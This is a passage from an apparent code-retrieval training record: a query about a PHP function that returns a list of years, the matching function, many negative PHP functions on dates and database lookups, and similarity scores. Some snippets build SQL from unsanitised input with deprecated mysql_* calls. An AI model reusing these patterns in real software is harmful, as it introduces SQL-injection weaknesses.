parameters: Store ID: \" . $store_id . \", INFO\");\n\t\n\t\t$sql = \"SELECT store_name FROM hackcess.store where store_id = \" . $store_id . \";\";\n\t\t$result = search($sql);\n\t\n\t\treturn $result[0][0];\n\t\n\t}", "function getInfoEmail($id_email) {\n if ($this->connectToMySql()) {\n $query = sprintf(\"SELECT * FROM scuola.email_store WHERE id_email = %s\", $id_email);\n\n // Perform Query\n $result = mysql_query($query);\n if (!$result) {\n setcookie('message', mysql_error($GLOBALS['link']));\n $info = 'NO INFO!';\n } else {\n $row = mysql_fetch_assoc($result);\n $info = 'Email:' . $id_email . ' from:' . $row['from_name'] . '<' . $row['from_email'] . '>';\n }\n }\n $this->closeConnection();\n return $info;\n }" ]
[ "0.66487324", "0.6634007", "0.6634007", "0.6305995", "0.6304103", "0.6287833", "0.609953", "0.6046342", "0.6024403", "0.6016509", "0.6013705", "0.60008806", "0.5987896", "0.59833413", "0.5976375", "0.5952234", "0.5952234", "0.59447634", "0.5888256", "0.5885766", "0.58768034", "0.58596414", "0.58544517", "0.5847517", "0.5844595", "0.58304036", "0.5826651", "0.58072454", "0.57970244", "0.5789393", "0.5779891", "0.5773678", "0.57450104", "0.5740529", "0.57361215", "0.57230085", "0.57005185", "0.5698061", "0.5693749", "0.5675907", "0.5660607", "0.5657469", "0.56522125", "0.56505746", "0.56426543", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56425095", "0.56226474", "0.5621877", "0.56218225", "0.56202507", "0.56171095", "0.5616803", "0.5598921", "0.5598597", "0.55921686", "0.5585874", "0.55659926", "0.55623615", "0.556221", "0.55554897", "0.5552038", "0.55429125", "0.55401546", "0.55343807", "0.55054975", "0.5504653", "0.550455", "0.55006635", "0.5499299", "0.5497406", "0.54911685", "0.5482719", "0.54823023", "0.54789615", "0.54714465", "0.5470384", "0.5461084", "0.54583436", "0.54583436", "0.54583436", "0.5455635", "0.54545844", "0.5454386", "0.54512304", "0.54508626", "0.544973", "0.543784", "0.54374135", "0.54369235" ]
0.6510419
3
/ This function will return the array of years to be used in displaying MIS.
public static function getYears() { $year=array(); for($i=date("Y");$i>2004;$i--) $year[]=$i; return $year; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getYears() {\r\n\t\t$year = array();\r\n\t\t$current_year = strftime(\"%Y\");\r\n\t\tfor($i = 2000; $i <= $current_year+1 && $y = strftime(\"%Y\", mktime(0,0,0,0,0,$i)); ++$i) {\r\n\t\t\t$year[$i] = array('id' => $i, 'name' => $y+1);\r\n\t\t}\r\n\t\treturn $year; //array\r\n\t}", "public function getYears()\r\n\t{\r\n \t$years = array();\r\n\t\t\r\n\t\t$initYear = (int) date(\"Y\");\r\n\t\t\r\n\t\tfor($i = $initYear; $i <= $initYear + 10; $i++)\r\n\t\t{\r\n\t\t\t$years[] = array(\"num\" => $i, \"label\" => $i);\r\n\t\t}\r\n\t\t\r\n\t\treturn $years;\r\n\t}", "protected function getYearsArray()\n\t{\n\t\t$ya = [];\n\t\tfor ($i = self::YEAR_MIN - 1; $i <= self::YEAR_MAX; $i++) {\n\t\t\t$ya['' . $i] = 0;\n\t\t}\n\t\tforeach ($this->_attr[self::YEAR] as $m) {\n\t\t\tif (is_numeric($m['year'])) {\n\t\t\t\tfor ($i = $m['year']; $i <= $m['end']; $i += $m['period']) {\n\t\t\t\t\t$ya[$i] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $ya;\n\t}", "public function getYearValues() {\n\t return array (\n\t array (2012),\n\t array (900),\n\t array (2050),\n\t array ('2050'),\n\t array ('year')\n\t );\n }", "function getYears() {\n\t\t$result =& $this->retrieve(\n\t\t\t'SELECT DISTINCT year FROM counter_monthly_log'\n\t\t);\n\t\t$years = array();\n\t\twhile (!$result->EOF) {\n\t\t\t$row = $result->GetRowAssoc(false);\n\t\t\t$years[] = $row['year'];\n\t\t\t$result->MoveNext();\n\t\t}\n\t\t$result->Close();\n\t\treturn $years;\n\t}", "public function getYear()\n {\n $allYear=array();\n $query=\"SELECT YEAR (input_date) as cyear FROM `consume_details` group by YEAR (input_date)\";\n // Utility::dd()\n $result=mysqli_query($this->conn,$query);\n while ($row=mysqli_fetch_assoc($result))\n {\n $allYear['cyear']=$row;\n }\n return $allYear;\n }", "public function years_range()\r\n {\r\n // end date.\r\n if(!($this->start && $this->end)){\r\n return NULL;\r\n }\r\n return array($this->start->format('Y'), $this->end->format('Y'));\r\n }", "public function yearProvider()\n {\n return array(\n // year = 1\n array('11111111111111111', array(2001, 2031)),\n // year = K\n array('1M8GDM9AXKP042788', array(1989, 2019)),\n // year = 3\n array('5GZCZ43D13S812715', array(2003, 2033)),\n // invalid year\n array('5GZCZ43D1US812715', array())\n );\n }", "public function getAllYears()\n\t{\n\t\treturn array_map(function ($election) {\n\t\t\t/** @var Election $election */\n\t\t\treturn date('Y', $election->getDate()->getTimestamp());\n\t\t}, $this->getAll());\n\t}", "public function Years() {\r\n $years = range(date(\"Y\"), 1910);\r\n return $years;\r\n }", "public function getCcYears() {\n $cc_years = array();\n $first = date(\"Y\");\n\n for ($index = 0; $index <= 10; $index++) {\n $year = $first + $index;\n $cc_years[$year] = $year;\n }\n $years = $this->getData('cc_years');\n if (is_null($years)) {\n $years = array(0 => $this->__('Year')) + $cc_years;\n $this->setData('cc_years', $years);\n }\n return $years;\n }", "public function getSsStartYears()\n {\n $years = array();\n $first = date(\"Y\");\n\n for ($index=5; $index>=0; $index--) {\n $year = $first - $index;\n $years[$year] = $year;\n }\n $years = array(0=>$this->__('Year'))+$years;\n return $years;\n }", "function years()\n{\n $years = array();\n for($i=date('Y');$i>(date('Y') - 100); $i--)\n $years[$i] = $i;\n return $years;\n}", "public function getSsStartYears()\n {\n $years = [];\n $first = date(\"Y\");\n\n for ($index = 5; $index >= 0; $index--) {\n $year = $first - $index;\n $years[$year] = $year;\n }\n return $years;\n }", "function GetYearList() {\n\t\t$companyid = $this->companyID;\n\t\t$emp_seqno = $this->empSeqNo;\n\t\t$sql_string = <<<_YearHolidayList_\n\t\t\t\tselect my_year as year1,\n\t\t\t\t\t my_year as year2\n\t\t\t\t from ehr_year_holiday_v\n\t\t\t\t where company_id = '$companyid'\n and emp_seq_no = '$emp_seqno'\n\t\t\t\t group by my_year\n\t\t\t\t order by my_year desc\n_YearHolidayList_;\n\t\treturn $this->DBConn->GetArray($sql_string);\n\t}", "function loadYears()\n\t{\n include 'b_ConnectionString.php';\n\n\t\t$schoolYearArray = array();\n\n\t\t$query = \n\t\t\"select distinct schoolYear from syterms \n order by schoolYear ASC\";\n\t\t\n $tableQuery = mysqli_query($mySQL_ConStr, $query) \n\t\t\tor die (\"cannot load tables\"); \n\n\t\twhile($getRow = mysqli_fetch_assoc($tableQuery))\n\t\t{\n\t\t\t$schoolYearArray[] = $getRow; \n\t\t}\n\t\treturn $schoolYearArray;\n\t}", "public function getCcYears()\n {\n $years = $this->getData('cc_years');\n if ($years === null) {\n $years = array();\n $years[0] = $this->__('Year');\n foreach ($this->_getConfig()->getYears() as $k => $v) {\n $years[substr($k, -2)] = $v;\n }\n\n $this->setData('cc_years', $years);\n }\n\n return $years;\n }", "public function fetchYears()\n\t{\n\t\treturn $this->dibi->fetchAll('\n\t\t\tSELECT\n\t\t\t\tyear\n\t\t\tFROM\n\t\t\t\tjournal\n\t\t\tGROUP BY\n\t\t\t\tyear\n\t\t\tORDER BY\n\t\t\t\tyear\t\t\n\t\t');\n\t\t\t\n\t}", "private function visibleYears(int $year) : array\n {\n $yearsList = [];\n\n // Previous year\n if ($year > 2007) {\n $yearsList[] = $year - 1;\n }\n\n // Current year\n $yearsList[] = $year;\n\n // Next year\n if ($year <= (int)$this->today->format('Y')) {\n $yearsList[] = $year + 1;\n }\n\n return $yearsList;\n }", "public static function getMonthYear() {\n $monthYear = [];\n $allMonth = config('content_month_mapping.website_map');\n $currDate = date('Y-m-d');\n $aCurrDate = explode(\"-\", $currDate);\n $monthYear['future'][$aCurrDate[0].'|'.$aCurrDate[1]] = $allMonth[$aCurrDate[1]];\n for ($i = 1; $i < config('content_month_mapping.future_months'); $i++) {\n $futureDate = date(\"Y-m-d\", strtotime(date('Y-m-01') . \" +$i months\"));\n $date = explode(\"-\", $futureDate);\n $monthYear['future'][$date[0].'|'.$date[1]] = $allMonth[$date[1]];\n }\n for ($i = 1; $i <= config('content_month_mapping.past_months'); $i++) {\n $pastdate = date(\"Y-m-d\", strtotime(date('Y-m-d') . \" -$i months\"));\n $date = explode(\"-\", $pastdate);\n $monthYear['past'][$date[0].'|'.$date[1]] = $allMonth[$date[1]];\n }\n return $monthYear;\n }", "public function getCcYears()\n {\n $years = $this->getData('cc_years');\n if (is_null($years)) {\n $years = $this->_getConfig()->getYears();\n $years = array(0=>$this->__('Year'))+$years;\n $this->setData('cc_years', $years);\n }\n return $years;\n }", "public function getCcYears()\r\n {\r\n $years = $this->getData('cc_years');\r\n if (is_null($years)) {\r\n $years = Mage::getSingleton('payment/config')->getYears();\r\n $years = array(0 => $this->__('Year')) + $years;\r\n $this->setData('cc_years', $years);\r\n }\r\n return $years;\r\n }", "function getYearsSelect()\n\t{\n\t\treturn $this->db->query(\"SELECT distinct(year(created_sell)) as yearssell from tb_sell where status <> 1 order by created_sell desc\")->result();\n\t}", "private function getSelectedYear() {\n\t\t$selectedYear = $this->request->query('selectedYear');\n\t\tif (is_null($selectedYear)) $selectedYear = $thisYear;\n\t\t$nextYear = $selectedYear+1;\n\t\treturn array($selectedYear, $nextYear);\n\t}", "function availableYears($file=\"data/brislington_no2.xml\") {\n\t$xmlReader = new xmlReader();\n\t$xmlReader->open($file);\n\t$Years = [];\n\n\twhile($xmlReader->read()) {\n\t\tif($xmlReader->localName == \"reading\") {\n\t\t\t$date = $xmlReader->getAttribute('date');\n\n\t\t\t$year = getYear($date);\n\n\t\t\tif(!in_array($year, $Years)) {\n\t\t\t\t$Years[] = $year;\n\t\t\t}\n\t\t}\n\t}\n\tsort($Years);\n\treturn $Years;\n}", "public function getYearsOfEvents()\n {\n $qb = $this->entityManager->getRepository('Event\\Entity\\Event')\n ->createQueryBuilder('e')\n ->select('YEAR(e.eventStartDate) AS eYear')\n ->where('e.deleted = 0')\n ->groupBy('eYear')\n ->orderBy('eYear', 'DESC');\n\n $query = $qb->getQuery();\n $result = $query->getResult();\n return $result;\n }", "public function getFiscalYears(){\n\t\t$connection=Database::getConnection();\n\t\t$query=\"SELECT fiscalYear, typeOfFunding FROM fundingsource\";\n\t\t$result_obj=\"\";\n\t\t$result_obj=$connection->query($query);\n\t\ttry{\n\t\t\twhile($result = $result_obj->fetch_array(MYSQLI_ASSOC)){\n\t\t\t\t$items[]=$result;\n\t\t\t}\n\t\t\treturn($items);\n\t\t}\n\t\tcatch(Exception $e){\n\t\t\treturn false;\n\t\t}\n\t}", "public function generate_year()\n {\n $current_year = date('Y');\n $year = [];\n for ($i = $current_year; $i <= $current_year + 5; $i++) {\n array_push($year, $i);\n }\n return $year;\n }", "public function OrderYear()\n {//--------------------------------------------------------------Lấy về năm (cái mà có bản ghi trả về)\n\t $arr=array();\n\t $select= \"SELECT DISTINCT(year(orderDate)) As orderYear FROM orders order by orderDate \";\n\t $result=$this->executeSelect($select);\n\t while($row=mysqli_fetch_array($result))\n\t {\n\t\t $year=new ordersDto();\n\t\t $year->setorderYear($row['orderYear']);\n\t\t $arr[]=$year;\n\t }\n\t $this->DisConnectDB();\n\t return $arr;\n }", "public static function getYears($start='now', $end='1930')\n {\n \tif( $start == 'now' ) $start = date('Y');\n \tif( $end == 'now' ) $end = date('Y');\n \t\n \t//array com os anos\n \t$return = array();\n \t\n \t//loop em todos os anos\n \tfor( $i=$start; $i>=$end; $i-- )\n \t{\n \t\t$return[$i] = $i;\n \t}\n \t\n \treturn $return;\n }", "public function get_year_permastruct()\n {\n }", "function getYearPixels( &$data ) {\n\t\t$month_total_edits = array();\n\t\tforeach( $data as $year => $tmp ) {\n\t\t\t$month_total_edits[$year] = $tmp['all'];\n\t\t}\n\t\t\n\t\t$max_width = max( $month_total_edits );\n\t\t\n\t\t$pixels = array();\n\t\tforeach( $data as $year => $tmp ) {\n\t\t\tif( $tmp['all'] == 0 ) $pixels[$year] = array();\n\t\t\t\n\t\t\t$processarray = array( 'all' => $tmp['all'], 'anon' => $tmp['anon'], 'minor' => $tmp['minor'] );\n\t\t\t\n\t\t\tasort( $processarray );\n\t\t\t\n\t\t\tforeach( $processarray as $type => $count ) {\n\t\t\t\t$newtmp = ceil( 500 * ( $count ) / $max_width );\n\t\t\t\t$pixels[$year][$type] = $newtmp;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $pixels;\n\t}", "public function getYearList() \n {\t\t\n $this->db->select(\"to_char(cm_date, 'yyyy') as cm_year\");\n $this->db->from(\"ims_hris.calendar_main\");\n $this->db->where(\"to_char(cm_date, 'yyyy')::numeric >= to_char(current_date, 'yyyy')::numeric - 15\");\n $this->db->group_by(\"to_char(cm_date, 'YYYY')\");\n $this->db->order_by(\"to_char(cm_date, 'YYYY') desc\");\n $q = $this->db->get();\n \n return $q->result_case('UPPER');\n }", "public function getYearAttributes()\n {\n return $this->yearElement->getAttributes();\n }", "public static function getArchiveYears($year) {\n $allMonth = config('content_month_mapping.website_map');\n $currDate = date('Y-m-d');\n $aCurrDate = explode(\"-\", $currDate);\n $currentMonth = $aCurrDate[1];\n $currentYear = $aCurrDate[0];\n if ($currentYear == $year) {\n $aLastMonth = array();\n foreach ($allMonth as $monthId => $monthName) {\n if ($currentMonth >= $monthId) {\n $aLastMonth[$monthId] = $monthName;\n }\n }\n } else {\n $aLastMonth = $allMonth;\n }\n\n return $aLastMonth;\n }", "public function modelYear();", "protected function getMonthsArray()\n\t{\n\t\t$ma = array_pad([], 13, null);\n\t\tunset($ma[0]);\n\t\tforeach ($this->_attr[self::MONTH_OF_YEAR] as $m) {\n\t\t\tif (is_numeric($m['moy'])) {\n\t\t\t\tfor ($i = $m['moy']; $i <= $m['end'] && $i <= 12; $i += $m['period']) {\n\t\t\t\t\t$ma[$i] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $ma;\n\t}", "public function getYear() {}", "public function yearList($all_option = true)\n\t{\n\t\tif ( $all_option == true ) $years['all'] = 'All';\n\t\t$all_years = $this->doll->orderBy('release_year', 'desc')->groupBy('release_year')->select('release_year')->get();\n\t\tforeach ( $all_years as $year ){\n\t\t\t$years[$year->release_year] = $year->release_year;\n\t\t}\n\t\treturn $years;\n\t}", "public function findAllYears()\n {\n $query = 'SELECT DISTINCT t.year FROM ApiTracklistBundle:Track t ORDER BY t.year DESC';\n\n return $this->getEntityManager()\n ->createQuery($query)\n ->getResult();\n }", "public function get_year_of_study(){\n\t\t$query = $this->db->get('year');\n\t\treturn $query->result();\n\t}", "public function get_year($year) {\n\t\t$start_time = 'first day of January ' . date( 'Y', strtotime($year) );\n\t\t$end_time = 'last day of December ' . date( 'Y', strtotime($year) );\n\t\n\t\treturn array(\n\t\t\t'start'\t\t\t=>\tdate('Y-m-d', strtotime($start_time)),\n\t\t\t'end'\t\t\t=>\tdate('Y-m-d', strtotime($end_time)),\n\t\t\t'start_time'\t\t=>\tstrtotime( $start_time ),\n\t\t\t'end_time'\t\t=>\tstrtotime( $end_time )\n\t\t);\n\t}", "function getMediaYears($date)\n{\n $sql = \"SELECT media_year,media_year_start,media_year_end from media_calendar where media_year <= YEAR('\" . $date . \"') GROUP by media_year ORDER BY media_year DESC\";\n $result = getResult($sql);\n return $result;\n}", "protected function handleOptions(): array\n {\n $years = [];\n\n $articles = $this->getModelArticles();\n\n $yearsAll = $articles->pluck($this->model->getDateField());\n\n foreach ($yearsAll as $year) {\n $value = $year->format('Y');\n $years[$value] = ['name' => $value, 'description' => $value, 'value' => $value];\n }\n\n return array_values($years);\n }", "protected function getThisYearInterval(): array\n\t{\n\t\treturn [\n\t\t\tnew \\DateTime(date('Y-01-01', strtotime(date('Y-m-d')))),\n\t\t\tnew \\DateTime(date('Y-12-t', strtotime(date('Y-m-d'))))\n\t\t];\n\t}", "public static function getLatestYearMonths()\n\t{\n\t\t$i = 0;\n\t\twhile ( $i <= 12 )\n\t\t{\n\t\t\t$dates[] = date( 'Y-m-d', strtotime( ' '. date( 'F Y', strtotime( '-' . $i . ' month' ) ) ) );\n\t\t\t$i++;\n\t\t}\n\n\t\treturn $dates;\n\t}", "function get_years( $p_path ) {\n\t$t_years = false;\n\n\t# Loop over subdirectories\n\t$t_iter_years = new FileSystemIterator( $p_path );\n\tforeach( $t_iter_years as $t_year ) {\n\t\tif( $t_year->isDir() ) {\n\t\t\t$t_years[$t_year->getFileName()] = build_href( $t_year->getPathname() );\n\t\t}\n\t}\n\n\t# Most recent year first\n\tif( $t_years !== false ) {\n\t\tkrsort( $t_years );\n\t}\n\n\treturn $t_years;\n}", "public function getStartYearsByYears( $currentYearsStr, $clearResidencyYears=true ) {\n $resArr = array();\n\n $yearsArr = explode(\",\",$currentYearsStr);\n\n $currentYearArr = array();\n $seasonStartYearArr = array();\n $seasonEndYearArr = array();\n $residencyStartYearArr = array();\n $residencyEndYearArr = array();\n\n foreach($yearsArr as $currentYear ) {\n $currentYearArr[] = $currentYear;\n\n $seasonStartYearArr[] = $currentYear;\n $seasonEndYearArr[] = $currentYear+1;\n\n $residencyStartYearArr[] = $currentYear+1; //Application Season Start Year + 1 year\n $residencyEndYearArr[] = $currentYear+2;\n }\n\n// $resArr['Current Year'] = $currentYear;\n// $resArr['Application Season Start Year'] = $currentYear;\n// $resArr['Application Season End Year'] = $currentYear+1;\n// $resArr['Residency Start Year'] = $currentYear+1; //Application Season Start Year + 1 year\n// $resArr['Residency End Year'] = $currentYear+2;\n\n $resArr['Current Year'] = implode(\",\",$currentYearArr);\n\n $resArr['Application Season Start Year'] = implode(\",\",$seasonStartYearArr);\n $resArr['Application Season End Year'] = implode(\",\",$seasonEndYearArr);\n\n if( $clearResidencyYears ) {\n if (count($currentYearArr) <= 1) {\n $resArr['Residency Start Year'] = implode(\",\", $residencyStartYearArr);\n $resArr['Residency End Year'] = implode(\",\", $residencyEndYearArr);\n } else {\n $resArr['Residency Start Year'] = NULL;\n $resArr['Residency End Year'] = NULL;\n }\n } else {\n $resArr['Residency Start Year'] = implode(\",\", $residencyStartYearArr);\n $resArr['Residency End Year'] = implode(\",\", $residencyEndYearArr);\n }\n\n return $resArr;\n }", "public function getTotalMPerYear(){\n // FROM [dbo].[MDeviceProfile]\n // GROUP BY YEAR([CreatedAt])\n $result = [];\n $this->db->select(\"YEAR([CreatedAt]) as year, count(DeviceId) as count\");\n $this->db->from($this->TBL_MDEVICEPROFILE);\n $this->db->group_by('YEAR([CreatedAt])');\n $q = $this->db->get();\n return $q->result_array();\n }", "public function year_options()\n\t{\n\t\t$out = '';\n for($i = gmdate('y'); $i <= (gmdate('y') + 9); $i++)\n {\n $out .= '<option value=\"'.$i.'\">20'.$i.'</option>';\n }\n return $out;\t\n\t}", "public function getYearClassifcation(){\n try{\n $object=array();\n if($stmt=$this->DataBaseCon->prepare(\"SELECT YEAR(STR_TO_DATE(ImgDate, '%Y')) from ImageDataSet GROUP BY YEAR(STR_TO_DATE(ImgDate, '%Y'))\")){\n $stmt->execute();\n $stmt->bind_result($year);\n while ($stmt->fetch())\n {\n array_push($object,$year);\n }\n $stmt -> close();\n if(count($object)>0){\n return $object;\n }\n else{\n return false;\n }\n }\n else{\n return false;\n }\n\n }catch(Expection $e){\n return false;\n }\n }", "function get_years_to_search() {\n global $DB;\n $sql = \"SELECT date AS fecha FROM {report_user_statistics};\";\n $dates = $DB->get_records_sql($sql);\n $result = array();\n foreach ($dates as $date) {\n $fecha = new DateTime(\"@$date->fecha\");\n $result[$fecha->format('Y')] = $fecha->format('Y');\n }\n return $result;\n}", "function getYear()\n {\n if (!isset($this->iyear) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iyear;\n }", "public function get_events_by_year() {\n\t\tswitch_to_blog( get_network()->site_id );\n\n\t\t$years = array();\n\t\tforeach ($this->get_events() as $event) {\n\t\t\t$start = get_field( 'event_start', $event->ID );\n\n\t\t\tif ( $start ) {\n\t\t\t\t$year = date( 'Y', strtotime( $start ) );\n\t\t\t\t$years[ $year ][] = $event;\n\t\t\t}\n\t\t}\n\n\t\trestore_current_blog();\n\n\t\treturn $years;\n\t}", "function getArchiveList()\n {\n $sql = \"SELECT LEFT(`published`, 7) AS `year_month`, COUNT(*) AS `count` FROM `blog_articles` WHERE `published` < NOW() GROUP BY `year_month` ASC\";\n $rows = $this->db->fetchAll($sql);\n\n $years = [];\n foreach ($rows as $row) {\n list($year, $month) = explode('-', $row->year_month);\n $time = strtotime($row->year_month.'-01 00:00:00');\n\n if (!isset($years[$year])) {\n $years[$year] = [ 'count' => 0, 'months' => [] ];\n }\n $years[$year]['count'] += (int)$row->count;\n $years[$year]['months'][$month] = [ 'count' => (int)$row->count, 'name' => strftime('%B', $time) ];\n }\n\n return $years;\n }", "function calc_date_range_years($start, $end)\n{\n\t$years = array();\n\t\n\t$start_prts = explode('-', $start);\n\t$end_prts = explode('-', $end);\n\t\n\t$years[] = $start_prts[0];\n\t\n\tfor ($i=$start_prts[0]; $i<$end_prts[0]; $i++)\n\t{\n\t\t$years[] = $i + 1;\n\t}\n\t\n\treturn $years;\n}", "function get_year_dates($year = null, $start_month = 12, $end_month = 11)\n{\n if (!isset($year)) {\n $year = date('Y');\n }\n $start_date = $year - 1 . '-' . $start_month . '-01';\n $end_date = $year . '-' . $end_month . '-30';\n return [\n 'start_date' => $start_date,\n 'end_date' => $end_date\n ];\n}", "public function getYearsForSelect() {\r\n $options = [];\r\n\r\n foreach($this->ccConfig->getCcYears() as $year) {\r\n $options[] = sprintf('<option value=\"%s\">%s</option>', $year, $year);\r\n }\r\n \r\n return implode('', $options);\r\n }", "public function getYearHtml()\n {\n $decadeHtml = '';\n $yearHtml = '';\n\n // Start at the next full year on the chart,\n // i.e. the 1st of January on the next year on the chart.\n $chartNextFullYear = intval($this->startDatetime->format('Y')) + 1;\n $yearListingStartDatetime = DateTime::createFromFormat('Y-m-d', $chartNextFullYear.'-01-01');\n\n // Loop through every year from the start defined above to the end of the chart\n $yearInterval = DateInterval::createFromDateString('1 year');\n $timePeriod = new DatePeriod($this->startDatetime, $yearInterval, $this->endDatetime);\n\n foreach ($timePeriod as $thisTime)\n {\n list($thisMonth, $thisYear) = explode('-', $thisTime->format('m-Y'));\n\n // Make sure we're at the start of a year...\n if ($thisMonth != 1) continue;\n\n // Distance from the start of the chart\n $diffFromStart = $this->startDatetime->diff($thisTime);\n $leftFromStart = $this->getDatetimeDifferenceWidth($diffFromStart);\n\n // Year HTML\n $yearHtml .= '<div class=\"chart-year\" style=\"left: '.$leftFromStart.'px\">'.$thisYear.'</div>';\n\n // Decade HTML\n if ($thisYear % 10 == 0)\n {\n // Different sizes for centuries\n if ($thisYear % 100 == 0) $decadeClass = 'chart-decade-large';\n else $decadeClass = 'chart-decade-small';\n\n $decadeHtml .= '<div class=\"chart-decade '.$decadeClass.'\" style=\"left: '.($leftFromStart).'px\">'.\n $thisYear.'-luku'.\n '</div>';\n }\n }\n\n return [$decadeHtml, $yearHtml];\n }", "public function getTotalSPerYear(){\n // FROM [mon].[ProjectDetail]\n // GROUP BY YEAR([CreatedAt])\n $result = [];\n $this->db->select(\"YEAR([CreatedAt]) as year, count(ApiKey) as count\");\n $this->db->from($this->TBL_SDEVICEPROFILE);\n $this->db->group_by('YEAR([CreatedAt])');\n $q = $this->db->get();\n return $q->result_array();\n }", "protected function getYears()\n {\n\t// need to connect to the database here in order to run the\n\t// function mysql_real_escape_string\n\t$isconnected = $this->cedarconnect() ;\n\tif( $isconnected != \"good\" )\n\t{\n\t print( \"$isconnected\\n\" ) ;\n\t exit( 0 ) ;\n\t}\n\n\t$kinst = $_REQUEST['kinst'] ;\n\tif( $kinst )\n\t{\n\t $kinst = mysql_real_escape_string( trim( $kinst ) ) ;\n\t}\n\n\t$params = $_REQUEST['params'] ;\n\tif( $params )\n\t{\n\t $params = mysql_real_escape_string( trim( $params ) ) ;\n\t}\n\n\t$query = \"SELECT DISTINCT d.YEAR\" ;\n\tif( $kinst && !$params )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_type rt,\" ;\n\t $query .= \" tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=rt.RECORD_TYPE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND rt.KINST=$kinst\" ;\n\t}\n\telse if( $params && !$kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND ri.PARAMETER_ID in ($params)\" ;\n\t}\n\telse if( $params && $kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_type rt,\" ;\n\t $query .= \" tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=rt.RECORD_TYPE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND rt.KINST=$kinst\" ;\n\t $query .= \" AND ri.PARAMETER_ID in ($params)\" ;\n\t}\n\telse if( !$params && !$kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t}\n\n\t$query .= \" ORDER BY d.YEAR ASC\" ;\n\t//print( \"$query\\n\" ) ;\n\n\t$result = parent::dbquery( $query ) ;\n\t$num_rows = mysql_num_rows( $result ) ;\n\tif( $num_rows != 0 )\n\t{\n\t while( $line = mysql_fetch_row( $result ) )\n\t {\n\t\tif( $line )\n\t\t{\n\t\t $colnum = 0 ;\n\t\t foreach( $line as $value )\n\t\t {\n\t\t\tif( $colnum > 0 ) echo \",\" ;\n\t\t\techo $value ;\n\t\t\t$colnum++ ;\n\t\t }\n\t\t echo \"\\n\" ;\n\t\t}\n\t }\n\t}\n\n\tparent::dbclose( $result ) ;\n }", "public function getActiveYears() {\n return $this->activeYears;\n }", "public function year_list()\n\t{\n\t\t// -------------------------------------\n\t\t// Load 'em up\n\t\t// -------------------------------------\n\n\t\t$this->load_calendar_datetime();\n\t\t$this->load_calendar_parameters();\n\n\t\t// -------------------------------------\n\t\t// Prep the parameters\n\t\t// -------------------------------------\n\n\t\t$params = array(\n\t\t\tarray(\t'name' => 'date_range_start',\n\t\t\t\t\t'required' => FALSE,\n\t\t\t\t\t'type' => 'date',\n\t\t\t\t\t'default' => 'year-01-01'\n\t\t\t\t\t),\n\t\t\tarray(\t'name' => 'date_range_end',\n\t\t\t\t\t'required' => FALSE,\n\t\t\t\t\t'type' => 'date'\n\t\t\t\t\t),\n\t\t\tarray(\t'name' => 'limit',\n\t\t\t\t\t'required' => FALSE,\n\t\t\t\t\t'type' => 'integer',\n\t\t\t\t\t'default' => 100\n\t\t\t\t\t)\n\t\t\t);\n\n//ee()->TMPL->log_item('Calendar: Processing parameters');\n\n\t\t$this->add_parameters($params);\n\n\t\t$today = $this->CDT->date_array();\n\n\t\t$this->CDT->change_ymd($this->P->value('date_range_start', 'ymd'));\n\t\t$this->CDT->set_default($this->CDT->datetime_array());\n\t\tif ($this->P->value('date_range_end') === FALSE)\n\t\t{\n\t\t\t$this->P->set('date_range_end', $this->CDT->add_year($this->P->value('limit')));\n\t\t\t$this->CDT->reset();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->P->set('limit', 9999);\n\t\t}\n\n\t\t$dir = ($this->P->value('date_range_end', 'ymd') > $this->P->value('date_range_start', 'ymd')) ? 1 : -1;\n\t\t$output = '';\n\t\t$count = 0;\n\n//ee()->TMPL->log_item('Calendar: Looping');\n\n\t\tdo {\n\t\t\t$vars['conditional']\t= array\t(\t'is_current_year'\t\t=>\t($this->CDT->year == $today['year']) ? TRUE : FALSE,\n\t\t\t\t\t\t\t\t\t\t\t\t'is_not_current_year'\t=>\t($this->CDT->year == $today['year']) ? FALSE : TRUE\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t$vars['single']\t= array('year'\t=> $this->CDT->year);\n\t\t\t$vars['date']\t= array(\n\t\t\t\t'year'\t\t=> $this->CDT->datetime_array(),\n\t\t\t\t'date'\t\t=> $this->CDT->datetime_array(),\n\t\t\t);\n\t\t\t$output .= $this->swap_vars($vars, ee()->TMPL->tagdata);\n\t\t\t$this->CDT->add_year($dir);\n\t\t\t$count++;\n\t\t} while ($count < $this->P->value('limit') AND $this->CDT->year < $this->P->value('date_range_end', 'year'));\n\n\t\treturn $output;\n\t}", "function getYearList($selected = ''){\r\n\t$options = 